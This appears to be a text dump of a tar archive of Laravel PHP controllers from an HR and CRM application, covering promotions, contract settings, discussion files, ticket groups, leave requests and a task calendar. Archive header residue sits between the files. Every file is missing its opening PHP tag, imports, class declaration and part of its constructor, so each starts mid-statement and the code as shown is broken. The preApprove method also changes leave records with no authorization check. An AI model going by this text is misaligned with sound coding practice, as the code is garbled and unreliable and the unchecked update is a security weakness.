'current_designation_id' => $request->current_designation_id, 'current_department_id' => $request->current_department_id, 'send_notification' => $request->send_notification == 'yes' ? $request->send_notification : 'no' ]); DB::commit(); return Reply::success(__('messages.promotionUpdatedSuccess')); } /** * Remove the specified resource from storage. */ public function destroy(string $id) { $promotion = Promotion::findOrFail($id); $promotion->delete(); return Reply::success(__('messages.deleteSuccess')); } } Http/Controllers/ContractSettingController.php000064400000002620150325104510015655 0ustar00pageTitle = 'app.menu.contractSettings'; $this->activeSettingMenu = 'contract_settings'; $this->middleware(function ($request, $next) { abort_403(!(user()->permission('manage_contract_setting') == 'all' && in_array('contracts', user_modules()))); return $next($request); }); } /** * Display a listing of the resource. */ public function index() { $this->contractSetting = InvoiceSetting::first(); return view('contract-settings.index', $this->data); } /** * Update the specified resource in storage. */ public function update(UpdateContractSetting $request, string $id) { $setting = InvoiceSetting::findOrFail($id); $setting->contract_prefix = $request->contract_prefix; $setting->contract_number_separator = $request->contract_number_separator; $setting->contract_digit = $request->contract_digit; $setting->save(); session()->forget('invoice_setting'); session()->forget('company'); return Reply::success(__('messages.updateSuccess')); } } Http/Controllers/DiscussionFilesController.php000064400000003306150325104510015652 0ustar00hasFile('file')) { foreach ($request->file as $fileData) { $file = new DiscussionFile(); $file->discussion_id = $request->discussion_id; $file->discussion_reply_id = $request->discussion_reply_id; $filename = Files::uploadLocalOrS3($fileData, DiscussionFile::FILE_PATH); $file->user_id = $this->user->id; $file->filename = $fileData->getClientOriginalName(); $file->hashname = $filename; $file->size = $fileData->getSize(); $file->save(); } } $this->DiscussionFiles = DiscussionFile::where('discussion_id', $request->discussion_id)->get(); return Reply::success(__('messages.fileUploaded')); } public function destroy(Request $request, $id) { $file = DiscussionFile::findOrFail($id); Files::deleteFile($file->hashname, DiscussionFile::FILE_PATH); DiscussionFile::destroy($id); return Reply::success(__('messages.deleteSuccess')); } public function download($id) { $file = DiscussionFile::whereRaw('md5(id) = ?', $id)->firstOrFail(); return download_local_s3($file, DiscussionFile::FILE_PATH . '/' . $file->hashname); } } Http/Controllers/TicketGroupController.php000064400000003613150325104510015005 0ustar00pageTitle = 'app.menu.ticketAgents'; $this->activeSettingMenu = 'ticket_settings'; } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { $this->groups = TicketGroup::all(); return view('ticket-settings.group-modal', $this->data); } /** * @param StoreTicketGroup $request * @return array * @throws \Froiden\RestAPI\Exceptions\RelatedResourceNotFoundException */ public function store(StoreTicketGroup $request) { $group = new TicketGroup(); $group->group_name = $request->group_name; $group->save(); $groups = TicketGroup::all(); $options = BaseModel::options($groups, null, 'group_name'); return Reply::successWithData(__('messages.recordSaved'), ['data' => $options]); } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { TicketGroup::destroy($id); return Reply::success(__('messages.deleteSuccess')); } public function edit($id) { $this->group = TicketGroup::findOrFail($id); return view('ticket-settings.edit-group-modal', $this->data ); } public function update(StoreTicketGroup $request, $id) { $ticketGroup = TicketGroup::findOrFail($id); $ticketGroup->group_name = $request->group_name; $ticketGroup->save(); return Reply::success(__('messages.updateSuccess')); } } Http/Controllers/LeaveController.php000064400000116012150325104510013577 0ustar00pageTitle = 'app.menu.leaves'; $this->leaveSetting = LeaveSetting::first(); $this->middleware(function ($request, $next) { abort_403(!in_array('leaves', $this->user->modules)); return $next($request); }); } /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function index(LeaveDataTable $dataTable) { $viewPermission = user()->permission('view_leave'); abort_403(!in_array($viewPermission, ['all', 'added', 'owned', 'both'])); $reportingTo = User::with('employeeDetail')->whereHas('employeeDetail', function ($q) { $q->where('reporting_to', user()->id); })->get(); $employee = User::allEmployees(null, true, ($viewPermission == 'all' ? 'all' : null)); $this->employees = $reportingTo->merge($employee); $this->leaveTypes = LeaveType::all(); return $dataTable->render('leaves.index', $this->data); } public function exportAllLeaves(Request $request) { abort_403(!canDataTableExport()); $startDate = $request->query('startDate', 'null'); $endDate = $request->query('endDate', 'null'); $exportAll = false; if($startDate == "null" && $endDate == "null"){ $exportAll = true; } $startDate = $startDate !== "null" ? Carbon::createFromFormat(company()->date_format, $startDate) : now(); $endDate = $endDate !== "null" ? Carbon::createFromFormat(company()->date_format, $endDate) : now(); $today = now(); if ($startDate->isSameDay($today) && $endDate->isSameDay($today)) { $dateRange = 'Today_' . $today->format('d-m-Y'); } else { $dateRange = $startDate->format('d-m-Y') . '_To_' . $endDate->format('d-m-Y'); } return Excel::download(new LeaveExport($startDate, $endDate, $exportAll), 'Leave_From_' . $dateRange . '.xlsx'); } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { $this->addPermission = user()->permission('add_leave'); $this->addEmployeePermission = user()->permission('add_employees'); abort_403(!in_array($this->addPermission, ['all', 'added'])); $this->employees = User::allEmployees(null, true, ($this->addPermission == 'all' ? 'all' : null)); $this->currentDate = now()->format('Y-m-d'); $dateFormat = Company::DATE_FORMATS; $this->dateformat = (isset($dateFormat[$this->company->date_format])) ? $dateFormat[$this->company->date_format] : 'DD-MM-YYYY'; if ($this->addPermission == 'added' && $this->addEmployeePermission == 'none') { $this->defaultAssign = user(); $this->leaveQuotas = $this->defaultAssign->leaveTypes; } else if (isset(request()->default_assign)) { $this->defaultAssign = User::with('roles')->findOrFail(request()->default_assign); $this->leaveQuotas = $this->defaultAssign->leaveTypes; } else { $this->leaveTypes = LeaveType::all(); } if (request()->ajax()) { $this->pageTitle = __('modules.leaves.addLeave'); $html = view('leaves.ajax.create', $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'html' => $html, 'title' => $this->pageTitle]); } $this->view = 'leaves.ajax.create'; return view('leaves.create', $this->data); } private function checkAttendance(array $dates, $user_id, $leave_half_day = null, $leave_half_day_type = null) { foreach ($dates as $date) { $userShift = User::findOrFail($user_id)->shifts()->whereDate('date', $date)->first(); if ($userShift) { $halfMarkTime = Carbon::createFromFormat('H:i:s', $userShift->shift->halfday_mark_time, $this->company->timezone); } else { $attendanceSetting = AttendanceSetting::first(); $defaultShiftId = $attendanceSetting->default_employee_shift; $defaultShift = EmployeeShift::findOrFail($defaultShiftId); $halfMarkTime = Carbon::createFromFormat('H:i:s', $defaultShift->halfday_mark_time, $this->company->timezone); } $halfMarkDateTime = Carbon::createFromFormat('Y-m-d H:i:s', $date->format('Y-m-d') . ' ' . $halfMarkTime->toTimeString(), $this->company->timezone); $query = Attendance::whereDate('clock_in_time', $date) ->where('user_id', $user_id); if (!is_null($leave_half_day)) { $query->where('half_day', $leave_half_day); } if (!is_null($leave_half_day_type)) { $query->where('half_day_type', $leave_half_day_type); } $attendance = $query->first(); if ($attendance) { return true; } if (is_null($leave_half_day)) { $additionalCheck = Attendance::whereDate('clock_in_time', $date) ->where('user_id', $user_id) ->orderBy('id', 'desc') ->first(); if (!$additionalCheck) { return false; } $clockInTime = Carbon::createFromFormat('Y-m-d H:i:s', $additionalCheck->clock_in_time, 'UTC') ->setTimezone($this->company->timezone); if ($leave_half_day_type == 'first_half') { if($clockInTime->lessThan($halfMarkDateTime)) { return true; } } else if ($leave_half_day_type == 'second_half') { if($clockInTime->greaterThan($halfMarkDateTime)) { return true; } } } } return false; } /** * @param StoreLeave $request * @return array|void * @throws \Froiden\RestAPI\Exceptions\RelatedResourceNotFoundException */ public function store(StoreLeave $request) { $this->addPermission = user()->permission('add_leave'); abort_403(!in_array($this->addPermission, ['all', 'added'])); $redirectUrl = urldecode($request->redirect_url); if ($redirectUrl == '') { $redirectUrl = route('leaves.index'); } $leaveType = LeaveType::findOrFail($request->leave_type_id); $employee = User::withoutGlobalScope(ActiveScope::class)->with('roles')->findOrFail($request->user_id); $employeeLeaveQuota = EmployeeLeaveQuota::whereUserId($request->user_id)->whereLeaveTypeId($request->leave_type_id)->first(); if ($leaveType && !$leaveType->leaveTypeCondition($leaveType, $employee)) { return Reply::error(__('messages.leaveTypeNotAllowed')); } $duration = match ($request->duration) { 'first_half', 'second_half' => 'half day', default => $request->duration, }; $employeeLeaveQuotaRemaining = $employeeLeaveQuota->leaves_remaining; $multiDates = []; if ($request->duration == 'multiple') { $sDate = Carbon::createFromFormat('Y-m-d', $request->multiStartDate); $eDate = Carbon::createFromFormat('Y-m-d', $request->multiEndDate); $multipleDates = CarbonPeriod::create($sDate, $eDate); foreach ($multipleDates as $multipleDate) { $multiDates[] = $multipleDate->startOfDay(); } session(['leaves_duration' => 'multiple']); } else { $leaveDate = Carbon::createFromFormat($this->company->date_format, $request->leave_date); $multiDates[] = $leaveDate->startOfDay();; } $leave_half_day_type = null; $leave_half_day = null; if ($duration == 'half day') { $leave_half_day_type = $request->duration; $leave_half_day = 'yes'; } // check for the attendance on that day and throw warning if exits $this->attendanceAlreadyMarked = $this->checkAttendance($multiDates, $request->user_id, $leave_half_day, $leave_half_day_type); if($this->attendanceAlreadyMarked && $request->markLeave == 'no') { return Reply::dataOnly(['status' => 'attendanceMarked']); } $multiDatesFormatted = collect($multiDates)->map(function ($date) { return $date->format('Y-m-d'); }); $holidays = Holiday::whereIn('date', $multiDatesFormatted) ->where(function ($query) use ( $employee) { $query->where(function ($subquery) use ( $employee) { $subquery->whereJsonContains('department_id_json', $employee->employeeDetails->department_id) ->orWhereNull('department_id_json'); }); $query->where(function ($subquery) use ( $employee) { $subquery->whereJsonContains('designation_id_json', $employee->employeeDetails->designation_id) ->orWhereNull('designation_id_json'); }); $query->where(function ($subquery) use ( $employee) { $subquery->whereJsonContains('employment_type_json', $employee->employeeDetails->employment_type) ->orWhereNull('employment_type_json'); }); }) ->get('date'); $multiDates = collect($multiDates)->filter(function ($date) use ($holidays) { return $holidays->where('date', $date)->isEmpty(); }); $multiDatesWithoutHolidayFormatted = collect($multiDates)->map(function ($date) { return $date->format('Y-m-d'); }); $leaveApplied = Leave::whereIn('status', ['approved', 'pending']) ->where('user_id', $request->user_id) ->whereIn('leave_date', $multiDatesWithoutHolidayFormatted) ->get(); $pendingAppliedLeavesCount = Leave::where('user_id', $request->user_id) ->where('status', 'pending') ->where('leave_type_id', $request->leave_type_id) ->count(); $halfDayApprovedLeaves = $leaveApplied->where('status', 'approved')->where('duration', 'half day'); $fullDayApprovedLeaves = $leaveApplied->where('status', 'approved')->where('duration', '!=', 'half day'); $halfDayLeavesCount = $halfDayApprovedLeaves->count(); $fullDayLeavesCount = $fullDayApprovedLeaves->count(); $appliedLeavesCount = $fullDayLeavesCount + ($halfDayLeavesCount * 0.5); $totalAllowedLeaves = $employeeLeaveQuotaRemaining + $appliedLeavesCount - $pendingAppliedLeavesCount; $applyLeavesCount = ($multiDates->count() * ($duration == 'half day' ? 0.5 : 1)); if ($totalAllowedLeaves < $applyLeavesCount && $leaveType->over_utilization == 'not_allowed') { return Reply::error(__('messages.leaveLimitError')); } if ($multiDates->count() == 0) { return Reply::error(__('messages.noLeaveApplyForSelectedDate')); } $currentMonthLeaves = Leave::where('leave_type_id', $leaveType->id) ->where('user_id', $request->user_id) ->whereBetween('leave_date', [$multiDates->first()->copy()->startOfMonth(), $multiDates->first()->copy()->endOfMonth()]) ->whereIn('status', ['approved', 'pending']) ->get(); $currentMonthLeavesCount = ($currentMonthLeaves->where('duration', 'half day')->count() * 0.5) + $currentMonthLeaves->where('duration', '!=', 'half day')->count(); $currentMonthAppliedLeavesCount = $currentMonthLeavesCount + $applyLeavesCount; if ($leaveType->monthly_limit && $currentMonthAppliedLeavesCount > $leaveType->monthly_limit && $leaveType->over_utilization == 'not_allowed') { return Reply::error(__('messages.monthlyLeaveLimitError')); } $uniqueId = Str::random(16); $leaveIds = []; DB::beginTransaction(); foreach ($leaveApplied as $key => $oldLeave) { if ($duration == 'half day' && $oldLeave->duration == 'half day' && $oldLeave->half_day_type != $request->duration) { continue; } $oldLeave->status = 'rejected'; $oldLeave->reject_reason = __('messages.leaveRejectedByNewLeave'); $oldLeave->save(); } foreach ($multiDates as $key => $leaveDate) { $leave = new Leave(); $leave->user_id = $request->user_id; $leave->unique_id = $uniqueId; $leave->leave_type_id = $request->leave_type_id; $leave->duration = $duration; $leave->paid = $leaveType->paid; if ($duration == 'half day') { $leave->half_day_type = $request->duration; } $leave->leave_date = $leaveDate->format('Y-m-d'); $leave->reason = $request->reason; $leave->status = ($request->has('status') ? $request->status : 'pending'); $leave->save(); $leaveIds[] = $leave->id; session()->forget('leaves_duration'); } DB::commit(); session()->forget('leaves_duration'); return Reply::successWithData(__('messages.leaveApplySuccess'), ['leaveIds' => $leaveIds, 'redirectUrl' => $redirectUrl]); } /** * Display the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function show($id) { $this->leave = Leave::with('approvedBy', 'user') ->where(is_numeric($id) ? 'id' : 'unique_id', $id) ->firstOrFail(); $this->reportingTo = EmployeeDetails::where('reporting_to', user()->id)->first(); $this->viewPermission = user()->permission('view_leave'); abort_403(!($this->viewPermission == 'all' || ($this->viewPermission == 'added' && user()->id == $this->leave->added_by) || ($this->viewPermission == 'owned' && user()->id == $this->leave->user_id) || ($this->viewPermission == 'both' && (user()->id == $this->leave->user_id || user()->id == $this->leave->added_by)) || ($this->reportingTo) )); $this->pageTitle = $this->leave->user->name; $this->reportingPermission = LeaveSetting::value('manager_permission'); if (request()->ajax()) { $html = view('leaves.ajax.show', $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'html' => $html, 'title' => $this->pageTitle]); } if ($this->leave->duration == 'multiple' && !is_null($this->leave->unique_id) && (request()->type != 'single' || !request()->has('type'))) { $this->multipleLeaves = Leave::with('type', 'user')->where('unique_id', $id)->orderByDesc('leave_date')->get(); $this->viewType = 'multiple'; $this->pendingCountLeave = $this->multipleLeaves->where('status', 'pending')->count(); $this->view = 'leaves.ajax.multiple-leaves'; } else { $this->view = 'leaves.ajax.show'; } return view('leaves.create', $this->data); } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { $this->leave = Leave::with('files')->findOrFail($id); $this->editPermission = user()->permission('edit_leave'); abort_403(!( ($this->editPermission == 'all' || ($this->editPermission == 'added' && $this->leave->added_by == user()->id) || ($this->editPermission == 'owned' && $this->leave->user_id == user()->id) || ($this->editPermission == 'both' && ($this->leave->user_id == user()->id || $this->leave->added_by == user()->id)) ) && ($this->leave->status == 'pending'))); $this->pageTitle = $this->leave->user->name; if ($this->editPermission == 'added') { $this->defaultAssign = user(); $this->leaveUser = $this->defaultAssign; } else if (isset(request()->default_assign)) { $this->defaultAssign = User::withoutGlobalScope(ActiveScope::class)->with('leaveTypes')->findOrFail(request()->default_assign); $this->leaveUser = $this->defaultAssign; } else { $this->leaveUser = User::withoutGlobalScope(ActiveScope::class)->with('leaveTypes')->findOrFail($this->leave->user_id); } $this->employees = User::allEmployees(null, false); $assignedEmployee = $this->employees->where('id', $this->leave->user_id)->first(); if ($assignedEmployee->status == 'active'){ $this->employees = User::allEmployees(null, true); } $this->leaveQuotas = $this->leaveUser->leaveTypes->where('leaves_remaining', '>', 0); if (request()->ajax()) { $html = view('leaves.ajax.edit', $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'html' => $html, 'title' => $this->pageTitle]); } $this->view = 'leaves.ajax.edit'; return view('leaves.create', $this->data); } /** * @param UpdateLeave $request * @param int $id * @return array|void * @throws \Froiden\RestAPI\Exceptions\RelatedResourceNotFoundException */ public function update(UpdateLeave $request, $id) { $leave = Leave::findOrFail($id); $this->editPermission = user()->permission('edit_leave'); abort_403(!($this->editPermission == 'all' || ($this->editPermission == 'added' && $leave->added_by == user()->id) || ($this->editPermission == 'owned' && $leave->user_id == user()->id) || ($this->editPermission == 'both' && ($leave->user_id == user()->id || $leave->added_by == user()->id)) )); $newLeaveDate = Carbon::createFromFormat($this->company->date_format, $request->leave_date); $existingLeaveDate = Carbon::parse($leave->leave_date); $leave_half_day = null; // while edit if leave date is changed then check again for attendance if ($newLeaveDate->ne($existingLeaveDate)) { $dates = [$newLeaveDate]; if ($leave->duration == 'half day') { $leave_half_day = 'yes'; } if ($this->checkAttendance($dates, $leave->user_id, $leave_half_day, $leave->half_day_type) && $request->markLeave == 'no') { return Reply::dataOnly(['status' => 'attendanceMarked']); } } $leaveType = LeaveType::findOrFail($request->leave_type_id); $employee = User::withoutGlobalScope(ActiveScope::class)->with('roles')->findOrFail($request->user_id); if ($leaveType && !$leaveType->leaveTypeCondition($leaveType, $employee)) { return Reply::error(__('messages.leaveTypeNotAllowed')); } $leaveDate = Carbon::createFromFormat($this->company->date_format, $request->leave_date); $applyLeavesCount = ($leave->duration == 'half day' ? 0.5 : 1); $holiday = Holiday::where('date', $leaveDate->format('Y-m-d'))->first(); if ($holiday) { return Reply::error(__('messages.holidayLeaveApplyError')); } $leaveApplied = Leave::whereIn('status', ['approved', 'pending']) ->where('user_id', $request->user_id) ->where('leave_date', $leaveDate->format('Y-m-d')) ->when($leave->duration == 'half day', function ($q) use ($request) { $q->where('duration', 'half day'); $q->where('half_day_type', $request->half_day_type); }) ->where('id', '!=', $id) ->first(); if ($leaveApplied) { return Reply::error(__('messages.leaveApplyError')); } $currentMonthLeaves = Leave::where('leave_type_id', $leaveType->id) ->where('user_id', $request->user_id) ->whereBetween('leave_date', [$leaveDate->copy()->startOfMonth(), $leaveDate->copy()->endOfMonth()]) ->whereIn('status', ['approved', 'pending']) ->get(); $currentMonthLeavesCount = ($currentMonthLeaves->where('duration', 'half day')->count() * 0.5) + $currentMonthLeaves->where('duration', '!=', 'half day')->count(); $currentMonthAppliedLeavesCount = $currentMonthLeavesCount + $applyLeavesCount; if ($leaveType->monthly_limit && $currentMonthAppliedLeavesCount > $leaveType->monthly_limit) { return Reply::error(__('messages.monthlyLeaveLimitError')); } $employeeLeaveQuota = EmployeeLeaveQuota::whereUserId($request->user_id)->whereLeaveTypeId($request->leave_type_id)->first(); $employeeLeaveQuotaRemaining = $employeeLeaveQuota->leaves_remaining; if ($employeeLeaveQuotaRemaining < $applyLeavesCount) { return Reply::error(__('messages.leaveLimitError')); } $leave->user_id = $request->user_id; $leave->leave_type_id = $request->leave_type_id; $leave->leave_date = companyToYmd($request->leave_date); $leave->reason = $request->reason; if ($request->has('reject_reason')) { $leave->reject_reason = $request->reject_reason; } if ($request->has('status')) { $leave->status = $request->status; } $leave->save(); if ($leave->duration == 'multiple' && $leave->unique_id){ $route = route('leaves.show', $leave->unique_id).'?tab=multiple-leaves'; } else{ $route = route('leaves.index'); } return Reply::successWithData(__('messages.leaveAssignSuccess'), ['redirectUrl' => $route]); } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { $leave = Leave::findOrFail($id); $uniqueID = $leave->unique_id; $this->deletePermission = user()->permission('delete_leave'); $this->deleteApproveLeavePermission = user()->permission('delete_approve_leaves'); abort_403(!($this->deletePermission == 'all' || ($this->deletePermission == 'added' && $leave->added_by == user()->id) || ($this->deletePermission == 'owned' && $leave->user_id == user()->id) || ($this->deletePermission == 'both' && ($leave->user_id == user()->id || $leave->added_by == user()->id) || ($this->deleteApproveLeavePermission == 'none')) )); if(!is_null(request()->uniId) && request()->duration == 'multiple') { $leaves = Leave::where('unique_id', request()->uniId)->get(); foreach ($leaves as $item) { Leave::destroy($item->id); } } else { Leave::destroy($id); } $totalLeave = $leave->duration == 'multiple' && !is_null($uniqueID) ? Leave::where('unique_id', $uniqueID)->count() : 0; if($totalLeave == 1) { Leave::where('unique_id', $uniqueID)->update(['duration' => 'single', 'unique_id' => null]); } if($totalLeave == 0){ $route = route('leaves.index'); } elseif(request()->type == 'delete-single' && !is_null($uniqueID) && $leave->duration == 'multiple'){ $route = route('leaves.show', $leave->unique_id); } else{ $route = ''; } return Reply::successWithData(__('messages.deleteSuccess'), ['redirectUrl' => $route]); } public function leaveCalendar(Request $request) { $viewPermission = user()->permission('view_leave'); abort_403(!in_array($viewPermission, ['all', 'added', 'owned', 'both'])); $this->pendingLeaves = Leave::where('status', 'pending')->count(); $this->employees = User::allEmployees(); $this->leaveTypes = LeaveType::all(); $this->pageTitle = 'app.menu.calendar'; $this->reportingPermission = LeaveSetting::value('manager_permission'); if (request('start') && request('end')) { $leaveArray = array(); $leavesList = Leave::join('users', 'users.id', 'leaves.user_id') ->join('leave_types', 'leave_types.id', 'leaves.leave_type_id') ->join('employee_details', 'employee_details.user_id', 'users.id') ->where('users.status', 'active') ->select('leaves.id', 'users.name', 'leaves.leave_date', 'leaves.status', 'leave_types.type_name', 'leave_types.color', 'leaves.leave_date', 'leaves.duration', 'leaves.status'); if (!is_null($request->startDate)) { $startDate = companyToDateString($request->startDate); $leavesList->whereRaw('Date(leaves.leave_date) >= ?', [$startDate]); } if (!is_null($request->endDate)) { $endDate = companyToDateString($request->endDate); $leavesList->whereRaw('Date(leaves.leave_date) <= ?', [$endDate]); } if ($request->leaveTypeId != 'all' && $request->leaveTypeId != '') { $leavesList->where('leave_types.id', $request->leaveTypeId); } if ($request->status != 'all' && $request->status != '') { $leavesList->where('leaves.status', $request->status); } if ($request->searchText != '') { $leavesList->where('users.name', 'like', '%' . $request->searchText . '%'); } if ($viewPermission == 'owned') { $leavesList->where(function ($q) { $q->orWhere('leaves.user_id', '=', user()->id); ($this->reportingPermission != 'cannot-approve') ? $q->orWhere('employee_details.reporting_to', user()->id) : ''; }); } if ($viewPermission == 'added') { $leavesList->where(function ($q) { $q->orWhere('leaves.added_by', '=', user()->id); ($this->reportingPermission != 'cannot-approve') ? $q->orWhere('employee_details.reporting_to', user()->id) : ''; }); } if ($viewPermission == 'both') { $leavesList->where(function ($q) { $q->orwhere('leaves.user_id', '=', user()->id); $q->orWhere('leaves.added_by', '=', user()->id); ($this->reportingPermission != 'cannot-approve') ? $q->orWhere('employee_details.reporting_to', user()->id) : ''; }); } $leaves = $leavesList->get(); foreach ($leaves as $key => $leave) { /** @phpstan-ignore-next-line */ $title = $leave->name; $leaveArray[] = [ 'id' => $leave->id, 'title' => $title, 'start' => $leave->leave_date->format('Y-m-d'), 'end' => $leave->leave_date->format('Y-m-d'), /** @phpstan-ignore-next-line */ 'color' => $leave->color ]; } return $leaveArray; } return view('leaves.calendar.index', $this->data); } public function applyQuickAction(Request $request) { switch ($request->action_type) { case 'delete': $this->deleteRecords($request); return Reply::success(__('messages.deleteSuccess')); case 'change-leave-status': $result = $this->changeBulkStatus($request); if ($result['updated'] > 0 && $result['skipped'] > 0) { $message = __('messages.updateSuccessWithSomeSkipped'); } elseif ($result['updated'] > 0) { $message = __('messages.updateSuccess'); } else { $message = __('messages.noUpdateMade'); } return Reply::success($message); default: return Reply::error(__('messages.selectAction')); } } protected function deleteRecords($request) { abort_403(user()->permission('delete_leave') != 'all'); $leaves = Leave::whereIn('id', explode(',', $request->row_ids))->get(); foreach($leaves as $leave) { if(!is_null($leave->unique_id) && $leave->duration == 'multiple') { $leavesWithSameUniqueId = Leave::where('unique_id', $leave->unique_id)->get(); foreach ($leavesWithSameUniqueId as $singleLeave) { Leave::destroy($singleLeave->id); } } else { Leave::destroy($leave->id); } } } protected function changeBulkStatus($request) { abort_403(user()->permission('edit_leave') != 'all'); $leaves = Leave::whereIn('id', explode(',', $request->row_ids))->get(); $updatedCount = 0; $skippedCount = 0; foreach($leaves as $leave) { // Check if the leave status is already approved or rejected if ($leave->duration != 'multiple' && in_array($leave->status, ['approved', 'rejected'])) { $skippedCount++; continue; } if(!is_null($leave->unique_id) && $leave->duration == 'multiple') { $uniqueLeaves = Leave::where('unique_id', $leave->unique_id)->get(); foreach($uniqueLeaves as $uniqueLeave) { // Ensure the unique leave status is not approved or rejected if (in_array($uniqueLeave->status, ['approved', 'rejected'])) { $skippedCount++; continue; } $uniqueLeave->status = $request->status; $uniqueLeave->save(); $updatedCount++; } } else { $leave->status = $request->status; $leave->save(); $updatedCount++; } } return [ 'updated' => $updatedCount, 'skipped' => $skippedCount ]; } public function leaveAction(ActionLeave $request) { $this->reportingTo = EmployeeDetails::where('reporting_to', user()->id)->first(); abort_403(!($this->reportingTo) && user()->permission('approve_or_reject_leaves') == 'none'); if($request->type == 'single'){ $leave = Leave::findOrFail($request->leaveId); $this->leaveStore($leave, $request); } else { $leaves = Leave::where('unique_id', $request->leaveId)->where('status', 'pending')->get(); session(['leaves_notification' => 'multiple']); $totalLeaves = $leaves->count(); if($totalLeaves > 1){ $firstLeaveDate = $leaves->first() ? $leaves->first()->leave_date->format($this->company->date_format) : null; $lastLeaveDate = $leaves->last() ? $leaves->last()->leave_date->format($this->company->date_format) : null; $dateRange = $firstLeaveDate ? $firstLeaveDate . ' to ' . $lastLeaveDate : null; session(['dateRange' => $dateRange]); } foreach ($leaves as $index => $leave) { if ($index === $totalLeaves - 1) { if (session()->has('leaves_notification')) { session()->forget('leaves_notification'); } } $this->leaveStore($leave, $request); } } if (session()->has('dateRange')) { session()->forget('dateRange'); } return Reply::success(__('messages.updateSuccess')); } public function leaveStore($leave, $request) { $leave->status = $request->action; if (isset($request->approveReason)) { $leave->approve_reason = $request->approveReason; } if (isset($request->reason)) { $leave->reject_reason = $request->reason; } $leave->approved_by = user()->id; $leave->approved_at = now()->toDateTimeString(); $leave->save(); } public function preApprove(Request $request) { $this->reportingTo = EmployeeDetails::where('reporting_to', user()->id)->first(); if ($request->has('leaveUId') && $request->leaveUId != null) { Leave::where('unique_id', $request->leaveUId) ->update(['manager_status_permission' => $request->action]); } else { Leave::where('id', $request->leaveId) ->update(['manager_status_permission' => $request->action]); } return Reply::success(__('messages.updateSuccess')); } public function approveLeave(Request $request) { $this->reportingTo = EmployeeDetails::where('reporting_to', user()->id)->first(); abort_403(!($this->reportingTo) && (user()->permission('approve_or_reject_leaves') == 'none')); $this->leaveAction = $request->leave_action; $this->leaveID = $request->leave_id; $this->type = $request->type; return view('leaves.approve.index', $this->data); } public function rejectLeave(Request $request) { $this->reportingTo = EmployeeDetails::where('reporting_to', user()->id)->first(); abort_403(!($this->reportingTo) && (user()->permission('approve_or_reject_leaves') == 'none')); $this->leaveAction = $request->leave_action; $this->leaveID = $request->leave_id; $this->type = $request->type; return view('leaves.reject.index', $this->data); } public function personalLeaves() { $this->pageTitle = __('modules.leaves.myLeaves'); $this->employee = User::with(['employeeDetail', 'employeeDetail.designation', 'employeeDetail.department', 'leaveTypes', 'leaveTypes.leaveType', 'country', 'employee', 'roles']) ->withoutGlobalScope(ActiveScope::class) ->withCount('member', 'agents', 'tasks') ->findOrFail(user()->id); $settings = company(); $now = Carbon::now(); $yearStartMonth = $settings->year_starts_from; $leaveStartDate = null; $leaveEndDate = null; if($settings && $settings->leaves_start_from == 'year_start'){ if ($yearStartMonth > $now->month) { // Not completed a year yet $leaveStartDate = Carbon::create($now->year, $yearStartMonth, 1)->subYear(); $leaveEndDate = $leaveStartDate->copy()->addYear()->subDay(); } else { $leaveStartDate = Carbon::create($now->year, $yearStartMonth, 1); $leaveEndDate = $leaveStartDate->copy()->addYear()->subDay(); } } elseif ($settings && $settings->leaves_start_from == 'joining_date'){ $joiningDate = Carbon::parse($this->employee->employeedetails->joining_date->format((now(company()->timezone)->year) . '-m-d')); $joinMonth = $joiningDate->month; $joinDay = $joiningDate->day; if ($joinMonth > $now->month || ($joinMonth == $now->month && $now->day < $joinDay)) { // Not completed a year yet $leaveStartDate = $joiningDate->copy()->subYear(); $leaveEndDate = $joiningDate->copy()->subDay(); } else { // Completed a year $leaveStartDate = $joiningDate; $leaveEndDate = $joiningDate->copy()->addYear()->subDay(); } } $this->employeeLeavesQuotas = $this->employee->leaveTypes; $hasLeaveQuotas = false; $totalLeaves = 0; $leaveCounts = []; $allowedEmployeeLeavesQuotas = []; // Leave Types Which employee can take according to leave type conditions foreach ($this->employeeLeavesQuotas as $key => $leavesQuota) { if ( ($leavesQuota->leaveType->deleted_at == null || $leavesQuota->leaves_used > 0) && $leavesQuota->leaveType && ($leavesQuota->leaveType->leaveTypeCondition($leavesQuota->leaveType, $this->employee))) { $hasLeaveQuotas = true; $allowedEmployeeLeavesQuotas[] = $leavesQuota; // $sum = ($leavesQuota->leaveType->deleted_at == null) ? $leavesQuota->leaves_remaining : 0; // $totalLeaves = $totalLeaves + ($leavesQuota?->no_of_leaves ?: 0) - ($leaveCounts[$leavesQuota->leave_type_id] ?: 0); $totalLeaves = $totalLeaves + ($leavesQuota?->leaves_remaining ?: 0); } } $this->leaveCounts = $leaveCounts; $this->hasLeaveQuotas = $hasLeaveQuotas; $this->allowedLeaves = $totalLeaves; $this->allowedEmployeeLeavesQuotas = $allowedEmployeeLeavesQuotas; $this->view = 'leaves.ajax.personal'; return view('leaves.create', $this->data); } public function getDate(Request $request) { if ($request->date != null) { $date = companyToDateString($request->date); $users = Leave::where('leave_date', $date)->where('status', 'approved')->count(); } else{ $users = ''; } return Reply::dataOnly(['status' => 'success', 'users' => $users]); } public function viewRelatedLeave(Request $request) { $this->editLeavePermission = user()->permission('edit_leave'); $this->deleteLeavePermission = user()->permission('delete_leave'); $this->approveRejectPermission = user()->permission('approve_or_reject_leaves'); $this->deleteApproveLeavePermission = user()->permission('delete_approve_leaves'); $this->multipleLeaves = Leave::with('type', 'user')->where('unique_id', $request->uniqueId)->orderByDesc('leave_date')->get(); $this->pendingCountLeave = $this->multipleLeaves->where('status', 'pending')->count(); $this->viewType = 'model'; return view('leaves.view-multiple-related-leave', $this->data); } public function leaveTypeRole($id) { $roles = User::with('roles')->findOrFail($id); $userRole = []; $userRoles = $roles->roles->count() > 1 ? $roles->roles->where('name', '!=', 'employee') : $roles->roles; foreach($userRoles as $role){ $userRole[] = $role->id; } $this->userRole = $userRole; } } Http/Controllers/TaskCalendarController.php000064400000017332150325104510015104 0ustar00pageTitle = 'app.menu.taskCalendar'; $this->middleware(function ($request, $next) { abort_403(!in_array('tasks', 